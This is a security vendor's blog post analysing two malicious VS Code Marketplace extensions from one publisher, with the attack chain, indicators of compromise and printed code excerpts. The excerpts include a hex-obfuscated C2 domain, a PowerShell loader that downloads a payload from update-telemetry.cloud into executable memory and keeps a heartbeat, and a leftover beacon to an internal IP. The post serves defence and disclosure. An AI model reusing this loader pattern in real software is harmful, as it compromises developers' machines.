Endpoint Security for the AI Era

Sign up for updates
Read our blog
Back to all posts

We Caught an Active Campaign Targeting the VS Code Marketplace - and Their Mistakes Told Us Everything

What We Found

In the Blue Lock anime series, Isagi Yoichi doesn't win on raw talent. He wins by reading the field, spotting the gap nobody else noticed, and executing at exactly the right moment. The threat actor who chose IsagiYoichi as their VS Code Marketplace identity applied the same philosophy: patient, iterative, and hiding in plain sight inside tools that developers actually want to install.

A single actor publishing under IsagiYoichi shipped at least two extensions carrying identical Windows PowerShell shellcode loaders, each disguised as a legitimate language-tooling productivity product. Same publisher. Same C2 server. Same loader kit. Only the disguise changed.

The first extension - pylint-advanced-pro v1.4.2 - was a broken prototype.
The second - json-advanced-formatter-pro v1.4.7 - was the polished, fully functional version.

Most marketplace malware racks up a four-digit victim count before getting caught. This one never got the chance. We identified and reported both extensions to Microsoft within days of publication, leading to an immediate ban. As a result, exposure was limited to only 41 downloads (18 for json-advanced and 23 for pylint-pro).


Treating these extensions as isolated threats misses the bigger picture. They belong to a single campaign, share the same source code, and communicate with the same command-and-control server. The attacker relies on a modular, portable loader architecture - simply wrapping the same malicious core inside whatever decoy product fits their current target. Looking at this from a campaign level is what allowed us to connect the dots between the two extensions. By focusing defenses on this core loader module, you can block both current variants and future iterations.

The Delivery Chain - Both Versions

Both versions run the same end-to-end chain when their activation event fires. The only operational difference: v1.4.2 forgot to actually write the dropper file, causing PowerShell to be launched against a nonexistent path and fail silently. v1.4.7 fixed that one line and the whole chain came alive.

Attack chain — both versions Step by step
🔒
Step 1 — Silent Activation
Starts the moment VS Code opens

No interaction needed. The malicious code runs in the background before you open a single file — no pop-up, no warning, nothing visible.

📄
Step 2 — Hidden Script Dropped
Writes a script to your temp folder

A PowerShell script is saved to your machine disguised as a routine Windows diagnostic file (vsdiag_log.ps1). This is what runs the attack.

🌐
Step 3 — Contacts the Attacker
Reaches out and downloads the real payload

The script connects to update-telemetry.cloud — made to look like a software update service — and silently pulls down the attack payload.

💻
Step 4 — Runs in Memory
Payload executes directly in RAM — never saved to disk

The downloaded payload is loaded straight into memory and executed there. It never gets written to a file, making it invisible to most antivirus tools.

📶
Step 5 — Stays Connected
Keeps an open line to the attacker while VS Code runs

The malware checks in with the attacker's server every 30 seconds. As long as VS Code is open, the attacker can send new instructions at any time.


Technical Dive

Three functions pulled directly from the extension code - each one reveals a different part of the story.

1. The C2 domain hidden in plain sight

Instead of writing the server address directly, the attacker split it into hex characters. It looks like noise. It decodes to the domain everything connects back to.

function _resolveAnalyticsEndpoint() {
   const _p = ['\x75\x70\x64\x61\x74\x65','\x2d','\x74\x65\x6c\x65\x6d\x65\x74\x72\x79','\x2e','\x63\x6c\x6f\x75\x64']; // hex-encoded 'update-telemetry.cloud'
   return _p.join(''); // → 'update-telemetry.cloud'
}

  2. What actually ran on your machine

Once active, the malware drops a script to disk that executes silently. This script handles three primary operational tasks: downloading the main payload, injecting it directly into memory, and maintaining a persistent connection to the command-and-control server.

$ErrorActionPreference = 'SilentlyContinue'
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} // disable TLS checks
$c2 = "update-telemetry.cloud"
try {
 $stage2 = (Invoke-WebRequest -Uri "http://$c2:443/stage2.bin" -UseBasicParsing).Content
 $code = @"
using System; using System.Runtime.InteropServices;
public class N {
 [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr a,uint s,uint t,uint p);
 [DllImport("kernel32")] public static extern void RtlMoveMemory(IntPtr d, byte[] s, uint l);
}
"@
 Add-Type $code
 $mem = [N]::VirtualAlloc([IntPtr]::Zero, $stage2.Length, 0x3000, 0x40) // RWX
 [N]::RtlMoveMemory($mem, $stage2, $stage2.Length) // copy shellcode in
} catch { }
try {
 $client = New-Object System.Net.Sockets.TcpClient("update-telemetry.cloud", 443)
 while ($client.Connected) { Start-Sleep -Seconds 30 } // C2 heartbeat
} catch { }

  3. The OpSec failure that unmasked the attacker

Beyond the malicious behavior we detected, the author made a critical operational security (OpSec) error. They forgot to remove a test function used during development, causing every installation to attempt a connection back to their personal computer. This mistake completely blew their anonymity.

function sendTestConnection() {
   const client = net.createConnection({ host: '10.40.66.164', port: 8443 }, () => {
       console.log('Connected to test listener at 10.40.66.164:8443');
       client.write('Extension activated and connected\n');
       client.end();
   });
   client.on('error', (err) => { console.error('Connection failed:', err.message); });
}

Indicators of Compromise

File Hashes (SHA-256)

  • pylint-advanced-pro v1.4.2 VSIX: 8c1d3591786df7d8982f2dcafa3b6a56aba66706d8d23f5fc5e1441e35fc45a9
  • pylint-advanced-pro v1.4.2 extension.js: 0e2a44548a9d40b63436f4b2cafdfc1e89a03db2f23920523a128755584671a8
  • json-advanced-formatter-pro v1.4.7 VSIX: ab621aaa3a8f130239030bcd91f2a70ba75c09dce5d970d0010138641b3dbfa4
  • json-advanced-formatter-pro v1.4.7 extension.js: ac08c0cdd365079065202625ed52e549cc15636671cdabf9ab548918516fca1f

Network

  • C2 Domain (both versions): update-telemetry[.]cloud 
  • Dev Internal IP: 10.40.66[.]164